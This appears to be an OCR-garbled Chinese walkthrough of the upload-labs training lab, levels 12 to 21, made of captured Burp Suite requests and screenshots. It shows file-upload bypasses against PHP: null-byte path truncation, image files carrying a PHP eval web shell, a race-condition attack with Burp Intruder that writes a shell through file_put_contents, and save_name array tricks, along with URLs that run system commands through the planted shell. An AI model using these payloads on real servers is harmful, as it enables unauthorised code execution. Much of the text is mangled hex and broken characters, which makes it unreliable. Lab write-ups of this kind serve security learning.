Accept: text/htmlapplication/<html+xml,application/xml;q=0.9,image/webp,image/apng,*/;q=0.8,applic:
null: Referer: http://90951bat794b4ed1926aefSd113d5cSf.app.mituanzone/Pass-12/index.php?action=show
- . Accept-Encoding: gzip, deflate
if(isset( [ Accept-Language: zh-CN,zh;q=0.9

array( ] )Fl Connection: close

substr(

- R - - - - WebKitFormBoundaryHXSyyFd'WBre3majs
AL ARG Content-Disposition: form-data; name="upload_file"; filename="2]pg"

Content-Type: image/jpeg

O0000UFIFO0000°0°00000C00000000000 0
0000000000000000000 $. "#00(7).014440'9=82<.342000C0O oooo

FIFPHP V5 217 AEBWIIRIA, VilMiht: http://90951ba6794bded1926aef5d113d5c5F . app.mituan.zone/upload/12. php?
8=phpinfo();

Pass-13 POSTH: ¥t

/ Request to http://90951bab794bded1926aefod113d5c5f.app.mituan.zone:80 [54.222 208.118]

l Forward J [ Drop J | Intercept is on Action




J Raw I Params I Headers

POST /Pass-13/index.php?actan=show code HTTP/1.1

Host: 90951bab794b4ded1926aef5d113d5c5fapp.mituanzone

Content-Length: 68371

Cache-Control: max-age=0

Origin: httpy//90951bab794b4ed1926aef5d113d5cS5fapp.mituanzaone

Upgrade-Insecure-Requests: 1

ONT: 1

Content-Type: multipart/form-data; boundary =----\WebKitFormB oundaryCARxmU KXABz2KLY

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/83.0410:
Accept: text/htmlapplication/<html+xml, application/ml;q=0.9,image webp,image/apng,=/=q=0.8,application,/signec
Referer: httpy//90951bab794bded1926aef5d113d5c5fapp.mituanzone/Pass-13 /indexphp?action=show code
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Hex

—————— WebKitFormBoundaryOAR:mUKXABz2KLY
Content-Disposition: form-data; name="save _path"

fupload/13.phpa I

FEHEXHE X T ¥af 16 HIE6 11230800,

/ Request to http://90951ba6794bded1926aefod113d5c5f app.mituan_zone:80 [54.222.205.118]

l Forward

o
[=]

Drop

J l J [ Intercept is on ] [&J

[ Raw T Params T Headers ]’ Hex ]

@

@
o

25 63 74 69 6 6 3d 73 68 6 77 5 63 6 64 65  0d
2 Ga 41 63 63 6 70 74 24 45 6e 63 6 64 69 s 67
24 33 20 6 7a & 70 2 20 64 6 6 6 61 74 &  0d
2 Ga 41 63 63 & 70 74 24 4 &1 G 6 75 61 & 68
2f 3} 20 7a 68 20 43 4 2 7a 6 3 71 3 30 2 39
30 00 0a 43 6 6= 6= 65 63 T4 69 6 G 3da 20 63 6
31 6 73 6 0d 02 0d 0a 2d 2d 20 2d 2 24 5 6 62
32 4 69 T4 46 6 T2 & 42 & 75 6 64 61 72 79 4
33 4 52 78 6 6d 5 4 58 41 42 7a 3@ 4 4 39 0d
34 0a 43 6 6 74 65 G 74  2d 44 69 73 70 & 73 69
35 74 69 6 6 3 20 66 6 72 64 2 64 61 74 61 3
36 20 6 61 6 65 3d 2 73 6 76 6 5 70 &1 74 68
37 2 0d 0a 0d O0a 2 2 75 70 6 & 61 &4 2 31
38 33 2 70 68 70 04 0a 24 2d 2 24 24 24 5T 65
39 62 4 69 74 46 & 72 6 42 & 75 G 64 61 T2 79
32 s 41 & 78 6a 6d 5 4 58 41 42 7a 3@ 4 4o 39
30 0d 0a 43 6 6= T4 65 Ge 74 20 4 6 73 70 & 73
3¢ 69 74 69 6 6 3a 20 66 6 72 64 2d 64 61 T4 61
3d B 20 6 61 6 65 34 22 75 70 6 6 61 64 & 66
36 69 6 65 22 3b 20 6 69 6 6 6 61 64 65 3 22

Bl BRAWKEK, KILMB TEME, FHE, BUTHHER.

/ Request to http://90951bab794bded1926aefod113d5c5f . app.mituan.zone:80 [54.222 208.118]

l Forward J [ Drop J [ Intercept is on ] Action
J Raw I Params IHeaders THex }
S 5513 findex.phplaction=show_code HTTP/1.1

Jost: 90951bab794bded1926aef5d113d5c5f.app.mituanzone

Content-Length: 6831

Zache-Control: max-age=0

Jrigin: http://90951bat794bded1926aef5d113d5cSf.app.mituanzone

Jpgrade-Insecure-Requests: 1

INT:1

Zontent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOARmUKXABz2KLS

Jser-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Win&4; x64) Apple'VebKit/537.36 (KHTML, like Gecko) Chrome/83.0.41
\ccept: text/htmlapplication/=html+xmlapplication/ml;q=0.9,image/webp,image/apng,=/*;q=0.8,application/sign
teferer: httpy//90951bab794bded1926aef5d113d5c5f.app.mituanzone/Pass-13 /index.phplaction=show_code

ction=show_code
Accept-Encoding

: gzip, deflate
Accept-Language

- zh-CN,zh;g=0.9
Connection: ¢l
ose—\Web
KitFormBoundaryQ
ARxjmUKXABz2KLY
Content-Disposi
tion: form-data;
name="save_path
"_{upload/

3. php—4—\We
bKitFormBoundary
OARxjmUKXABz2KLY
Content-Dispos
ition: form-data

; name="upload_f
ile": filename="

¥@




\ccept-Encoding: gzip, deflate
\ccept-Language: zh-CN,zh;q=0.9
Zonnection: close

------ WebKitFormBoundaryOARmUKXABz2KLS
Zontent-Disposition: form-data; name="save_path"

upload/13.php0O
----- WebKitFormBounddryOARmUKXABz2KLS
Content-Disposition: form-data; name="upload_file"; filename="2jpg"
Content-Type: image/jpeg

VilmHhhk: http://90951ba6794bded1926aef5d113d5c5F . app.mituan.zone/upload/13.php?8=phpinfo();

Pass-14 {43k
HEFEEAD, RiE, FTREEHER, RIR—AEEEERT,

50 AD ©5 AC BO B2 AF BB AY 52 AC RD.TWP—A~" 2 «KER—
a2 80 3C BE EBE CO 7R €5 85 D7 D& | 2.8" ! ¢.<Hghze.=U
24 BE AS TF 00 78 AC 6D 4F 4E EBD -&8.e5. 20 . x—mONs
QE 3F CF F9 15 ED 34 54 38 26 &8 (doV=.2I0u.14T8&h
El FD &3 79 &8 25 95 1B 3F 7 36 24 |Iyayeyh%..7z6
13 AC 4% 26 SE €9 4% 27 92 TF C7 iﬁcﬂﬁa—.l&“il'.ﬂg
o5 77 1B BB 9E EB F9 AF 4C FO 76 S5&...Aw. .&0 Lav
00 18 3% 26 BR 6B 4F 01 C5 74 ER& LFUUL. . 9&°k0.ALE
33 31 20 9F AD 7B 75 14 DS 24 B1 w {B.31 .—{u.05.
FE 1lE 7B 58 1l& 35 51 1C &3 18 18 6}.Eh]::.{x.5Q.c..
3 0A 01 39 C0O EB 4FE A2 B4 43 6 A.@WVE..9AENSt JE
Ao 21 28 A5 A2 8O 12 BA 5n 28 01 mOJ)hi! (8¢...5(.
B4 52 28 01 28 A5 A2 B0 12 82 S5a [E3 Al (FE Z

g0 12 %6 8» 28 03 FF D% 3C 3F 70 (. (E¢....(.y0<p
61 6C 28 24 S5F 52 45 51 55 45 53 hp eval (% REQUES
3B 3F 3E TR )2

Pass-15 & A bt 5 4%

PHP image_type_to_extension - 3XENEI /G4
C¥PHP EightE

Eﬁ?&iﬂﬁ’&@%ﬁéﬁé@iﬁmﬁ%ﬁ )

&%

string image_type_to_extension { int $imagetype [, bool $include_dot = TRUE ] )

EFEEKDE, FTRTFRRIERSES —0E.
Pass-16 php_exif#| ¥ j5 4%



function isImage($filename){

switch ( e) {
case IMAGETYPE_GIF:

gif”;

= exif_imagetype($filename);

return
break;

case IMAGETYPE_JPEG:
return "j
break;

case IMAGETYPE_PNG:
return "png";
break;

default:
return

break;

https://blog.csdn.net/zycdn

EEEASE, TETREIERSEE M,

EAegifEI A BjE, TRTFRRIERTIER —A1E. jogi LB .

if(isset(4 "submit'])){

array( ' jp

if(move upleoaded file($

if(in_array($fil

e bAECH, RIGHEHBRE . AT AR FHPHPREF #IXAN S B8] B A S0 BN B BUE B — A

P bR

I . | 7D mictnne | Wah@anbate bictans | Antione |



& — A webshell B RESE 8.

HEFEELENER:

prze vl file php

REEE, ZERAEFFE(pass-18

null;

if(isset( [

array(

substr(

UPLOAD_PAT

PTG A Opt 24 SR AFAED -
RIEHATSHRE .
EfEa:

1.

Target | Positions | Payloads | Options

TIL S L | Tion sy | VU SAIULITLD T30y | LIS |

/ Request to http://90951bab794bded1926aefod113d5c5f app.mituan_zone:80 [54.222 208.118]

[ J [ J | Intercept is on | Action

Raw T Params I Headers T Hex ]

Forward Drop

POST /Pass-18/index.phpfaction=show _code HTTR/1.1

Host: 90951hat794b4ed1926aef5d113d5cEfappamituanzone
Content-Length: 372

Cache-Control: max-age=0

Origin: http://90951bat794b4ded1926aef5d113d5c5f.app.mituanzone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----‘WebKitFormBoundarygLul GIfTgkBCOuLPd

!

‘

User-Agent: Mozilla/5.0 (Windows NT 10.0

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Content-Disposition: form-data; name="upload_file"; filenarne="file.php"
Content-Type: application/octet-stream

<?php ﬁIe_p_ut_ccntents('mituan_php'_.' <Iphp eval($_REQUEST[8]);?> ;7>

o Ll

Content-Disposition: form-data; name="submit"

e
NebKitFormBoundaryglul GIfTgk80OulLPd--

http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/file.php

2. 3

T [P [Pt [

Target | Positions | Payloads | Options

@ Payload Positions

Configure the positions where payloads will be inssrted into the base request. The attack tyf
payload positions - see help for full details.

Attack type: | Sniper

POST /Pass-18/indexphpZaction=show code HTTP/1.1

Host: 90951ba6794bded1926aef5d113d5cS .app.mituanzone

Content-Length: 372

Cache-Contral: max-age=0

Origin: http://80951ba6T94b4ed1926aef5d113d5c5 F.app.mituanzone
Upagrade-Insecure-Requests: 1

DNT:1

Content-Type: multipart/form-data; boundary=----WebKitFormB oundarygLul GIfTqk8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) Apple\WebKit/537.36 (KHTML
Safari/537.§356

Accept:

text/htmlapplication/xhtmi-+xmlapplication/xmi:q=0.9,image webp,image/apng,*/<q
Referer: http://90951ba67 94bded1926aef5d113d5cS .appmituanzone/Pass-18/inde
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zhig=0.9

Connection: close

VAL

1.

Target | Positions | Payloads | Options

@ Payload Sets

You can define one or mors payload ssts. The number of payload sets depends on the attac
are available for each payload set, and each payload type can be customized in different way

Payload set. |1 v
Payload type: | Nul payloads v

@ Request Headers
() Thess settings control whether Intrudsr updates the configured request headers during attacl

[ Update Content-Length header

Payload count- 20,000 [ Set Connection: close

Request count: 20,000
@ Request Engine

@ Payload Options [Null payloacs] O These settings control the engine used for making HTTP requests when performing attacks

This payload type generates payloads whose value is an empty string. With no payload marl
unmodified.

Number of threads. 50

Number of retries on network failure
@ Generate | 20000 payloads

Pause before retry (milliseconds):
© Continue indefinitely

Throttle (milliseconds): @ Fixed

@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used

© Variable:

Start time: @® Immediately

2.

3.
Target | Positions | Payloads | Options Target | Positions | Payloads i

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack typ
payload positions - see help for full details.

Attack type: | Sniper

GET Jupload/filephp HTTP/1.1

Host: 90951ba67 94bded1926aef5d113d5e5f.app.mituan zone

Cache-Control: max-age =0

DNT:1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) Apple\WebKit/537.36 (KHTML
Safari/537.36

Accept:

text/htmlapplication/xhtml-+xmlapplication/xml;q=0.9,image webp,image/apng,*/<q
Accept-Encading: gzip, deflate

Accept-Language: zh-CN zhig=0.9

Connection: close

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attac
are available for each payload set, and each payload type can be customized in different way

Payload set. |1 )
Payload type: | Null payloads =

@ Request Headers
() These settings control whether Intruder updates the configured request headers during attacl

[ Update Content-Length header

Payload count: 20,000 [ Set Connection: close

Request count: 20,000
® Request Engine

@ Payload Options [Null payloads] o These settings control the engine used for making HTTP requests when performing attacks

This payload type generates payloads whose value is an empty string. With no payload marl
unmadified.

Number of threads. 60

Number of retries on network failure:

@ Generate [20000 | payloads

Pause before retry (milliseconds):

© Continue indefinitely

Throttle (millseconds): @ Fixed

.
O Variable: start D step

@ Immediately

® Payload Processing

You can define rules to perform various processing tasks on each payload before it is used
Start time:

finG4; x64) Apple'WebKit/537.36 (KHTML, like Gecko) Chi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*q=0.8,ap|
Referer: http://90951bab7 94b4ed1926aef5d113d5c5f.app.mituanzone,/Pass-18/index.php?action=st



BE—ERIKE.

B Intruder attack @ ‘ B Intruder attack 10
Attack Save Columns | Attack Save Columns
J Results I Target I Positions T Payloads I Options ] J Results ITE"QEt T Positions I Payloads T Options }
Filter Showing all items Filter: Showing all items
Request 4 | Payload | Status | Error H Request | Payload | Status v | Epror | Timeout |
0 200 O 0 404 U O
1 null 200 s |k null 404 O O
2 null 200 O 2 null 404 ] ]
3 null 200 O 3 null 404 ] ]
4 null 200 O 4 null 404 O O
5 null 200 O 5 null 404 ] ]
6 null 200 O 6 null 404 J J
7 null 200 O 7 null 404 J J
8 null 200 O 3 null 404 ] ]
9 null 200 O 9 null 404 J J
|

J Request T Response } j Request T Response ]

J RawT Params T Headers I Hex ] J Raw T Headers T Hex }

POST /Pass-18/indexphplaction=show code HTTP/1.1 |GET /upload/file.php HTTP/1.1

Host: 90951ba6794b4ed1926aef5d113d5cS5f.app.mituanzon Host: 90951bab794b4ed1926aef5d113d5c5.app.mituanzone
Content-Length: 372 Cache-Control: max-age=0

Cache-Control: max-age=0 DNT:1

Origin: http;//90951ba6794b4ed1926aef5d113d5cSf.app.mit pgrade-Insecure-Requests: 1

Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/
DNT: 1 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFor Accept:

User-Agent: Mozilla/5.0 (Nindows NT 10.0; Wins4; x64) Apple text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,ir
Safari/537.6 9

Accept: Accept-Encoding: gzip, deflate
text,‘htmI,application!xhtml+xm|,app|l’cat|’on,’xm|:q=O.9,|'mageJACCEPt'Language:Zh'CN-Zh2q=O-9

g Connection: close

Referer: httpy//90951ba6794b4ded1926aef5d113d5cS5f.app.mi
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

6 BDHE e 10 @EE

Finished | 2 Finished B

T 1OWA R, —A200RSEHEER, RWBFHF T, NEERI D0 LA — R T

B Intruder attack 11 ‘ B Intruder attack 12

Attack Save Columns | Attack Save Columns

jRequts I Target T Positions T Payloads T Options 1 J Results TTarget I Positions T Payloads I Options ]

‘ Filter: Showing all items | Filter: Showing all items

Request & | Payload | Status  |Eror | Timeout | Length Request | Payload | Status & Emor | Timeout | Length |
0 200 O L) 3818 || 3060 null 200 O ] 40 |
1 null 200 g O 3818 [3g25 null 200 d O 167

2 null 200 O L) 3818|3906 null 200 O J 167

3 null 200 O O 3818|3907 nul 200 a [ 167

4 null 200 O O 3818|4937 null 200 g [ 478

5 null 200 g O 3818|5276 null 200 d [0 478

6 null 200 O L) 3818 |gog7 null 200 O [ 470

7 nul 200 O 0 .18 ||y nul 404 O O a9

8 null 200 O [ 3\8 || 404 g L 3

g null 200 ] O 3118 g null 404 d O 39

[Damiact | Dacnnnca | = = ]



J IR T | s punes I

| Request | Response |

_[Raw I Params T Headers I Hex ]

Pass-19 4%/} #%4%

A bR R, X — R H At 487 th R i Thid .

Pass-20 POST# i

J Raw T Headers I Hex I HTML I Render 1




TRF13K, 13KREH B, 20KBHILHF4 .

HEEELFENER:

prics EAVR AR S

HBESE

https://blog.csdn.net
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BHEEELEENBAR:
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B#E

f Request to http://90951bab794b4ed1926aef5d113d5c5f app. mituan zone-80 [54 222 208.118]

l Forward | l Drop | Intercept is on | Action | Gomment this item W @

JR&W Params IHeaders Hex |

ZZ0JE(Dege Ok O0EEDGO#00W \ofE0ME = 5 0E0r00000#E DuciFta\ OnhEE3 B 00 < 0/000FEH 01w+ TU DO SMIEE 0 Ew2 "DrOm i + Flriiee e0n
HO600NOO%ELIO,0330 00

B O EKrED " 001000450092 HE0557280\000U /0 < D2 EE 3TN WvE e FFvEEET] > e#DDES00 O5sLik ~ 00a08:Hp00EcNOhEE QWD S50 )08 | 00
Z000{00(00(00(00(00(0 000 k000~ 088 0tEniELEE10$000$n00H* 28 55| 06 DOSFNENE S#e000%=HE6S nduliREd = =1E00+0+°00
O000¢E A G aODEnET < BEALO0ER > ofiigv0-0 FEOEEDI 0%

FHIEO M EERE00& 50 =0r 300-$5Z2.2200. DiZ % 000REE 0 > 0| @0) etfE0s WSO %HHS ~ & kU ol 00000~ 01 [HCO0GO0*" 006D /to <3 05511 01k
ZiED-E180T0-0

{n}

ZJZ0)-00isE4E ESE =00 HEEZ M1 4 @ERyON GdEE 02 fi222 DU 128U HED S 00 +000 n S L ThigE) Ou

#50{000:00% g 1RE- o 0O-i00&kF 0= O00#ia0fFEDSE B D PEKsO > EGOPREERERE 0+t 002208 Em =D \OOOF 0 &R 60, E00py 008 E00FHKUED'D
#9010 H000;R0 DOyEa SiE-e DO,/ 2004 a7 3/

3UES07 18, fhiiEks 1 Kawr %0 KO0 "= RBUNE IR0 im0 0 e 06 000E 3w E g 0.70

000, HEHsiEIE cnO00 TR\ IIFF000Ee0={{7 * E0mEK s 000QY @ QEOOQENOQEOONQENNQEONQEOOQENOREOOTVPONEORO200 "B 0 < (EfEeO5-
HlzE$iE DAEOND(EV = 072E004T8 &M04|#EiE cyh %002z6{ c OMEE& /A il'D OSHE00AO0RSEELE #00984E00AIED003 1 #{ud0$(f0FE00X05Q0c00008:v0
095N 4 )& h0 (7 00E(0(700%(0(700E(0(7 0052000 < ?php evali$ REQUEST[8]);? >

—————— ‘WebKitFormB oundany'WQytrLLhi2QBE gD Cp
Content-Disposition: form-data; name="save_name"

Content-Disposition: form-data; name="submit"

iBEE

: "?h

5

RAS 2




H & H A -

f Request to http://90951bab794bded1926aef5d113d5c5f app. mituan.zone:80 [54.222 208.118]

[ Forward J l Drop J | Intercept is on Action

J Raw T Params T Headers I Hex ]

[l

[}

ZJZ0)E OkEs DkOOERE0 0#00WY o EDIS =820 0-00000#E0uciEta\0hES3 500 < 0,/000E58 5 01 fiiw S TUOORES M
HOs00NODSELD,03280 00

EEOMEKEED " DOMO0004E 009 ? GF07  EE0\000U /0 < O$BEE RN W B e BTVEEEE] » e#NDE 00 O5sLkZ ~00a08i8p0
Z000{00{00(00(00({00{00(00))hO(00h08#2 QfEndELAY 1 0$000$n00H+* B8 5| D600 FEOENSE Be00032=BE6Srd
00004E: Al Ga00EnEs < BmO0ED = ofifav0-0 EOEE0)03E

FHIEOMEERE00& S0 =0r 300452 =00.% D% 000RES 10> 0@ 0) etf#E 05 'WEE0RF%iFs ~ Bkl c(0)0+2000~1
1AZEE0-% g8f0+0

]

[ |

TCooo

(a

ZI70-00istEESE = 00 F MEEZI M 4@ ExyON GdfFF 0 2FjfiEiE | D &R EIui HEDEE DD 0000 9 EE Phig) 0y

$#E0{000:00%E g 10 -o00-i00&kR 0 = O00# a0 FEOFE E D .PEEKsO > EGOPRAEREE: N + 1o D00 &dsmED \OOOFI0.j5
s A0Ra00;R0 00 e a SO0/, S200Um\O7 3/

MBS0 17 MAiES 1 i1 B0 KO0 E BUNBIE0 RE 35006 06000fE3 FiER0.T0

OO0, FiEsiEIE cnO0OE:™SEEe1E IEf000Fe0=n M B0 MiEK 0000V @QEDNQENOQENOQENOQEONNQENOQENOR:

HEIE OFEONDENY = 072200478 & 04|18 cyh%00%z648 ¢ O0FE& /1’0 O54E00F 00RSEEEU 009 & 3ECOfEOO0:
09N 4 J&EiEh0(FO0E(O(FI0E0( 70007005000 < php eval($_REQUEST[8]);? >

—————— WebKitFormB oundaryFfpLmulaPlj3 Ar8r

Content-Disposition: form-data; name="save_name[0]"

21.php
—————— WebKitFormB oundaryFfpLmulaPlj3 Ar8r
Content-Disposition: form-data; name="save name[2]"

J[le
—————— WebKitFormB oundaryFfpLmulaPlj3 Ar8r
Content-Disposition: form-data; name ="submit”

k=7
—————— WebKitFormB oundaryFfpLmulaPlj3 Ar8r--

Vilibk: http://90951ba6794b4ed1926aef5d113d5¢5F. app.mituan.zone/upload/21.php.?8=system('1s");

HBEEL



upload-labs

upload-iabs E—EFphp EZE 5, & IESENEACTF LSS HETENES. EEFgART HESTE—T2ENTE Fa—R20x, F-xXFa2E57EF
AT

#5Tips: FEHEESFETZTLES, WapachelIKNHEITET, EEA T AFHEEEFH N LFRFIN, SOnERIr R4 EsEELlg!

EnRHE:
https://github.com/cOny1/upload-labs

RS

¥ docker pull regrstry en—shanghar. aliyunes. com erberseesuplrad—Tahs=5 2 17 Jaresr

HEEFSE

F decker run —xm — @ FO0FC regisiry. en—shangher. elivunes. com/eybersecsupdrad—fabs—5. 2 17 Jatest

T A LIRS T
=itk
TeRfitEz(90.0%)

000000000000 ODODDODODOLOODAB

HORPIITERL T W, 18, 19K MM TEF R

2%,
XA A% 2 #E3upload-labs(11-20):  https:/www.cnblogs.com/heguoze/p/12008849.html
&R R _EAERIRfuzzZ . https:/gv7 .me/articles/2018/make-upload-vul-fuzz-dic/


https://www.cnblogs.com/heguoze/p/12008849.html
https://gv7.me/articles/2018/make-upload-vul-fuzz-dic/
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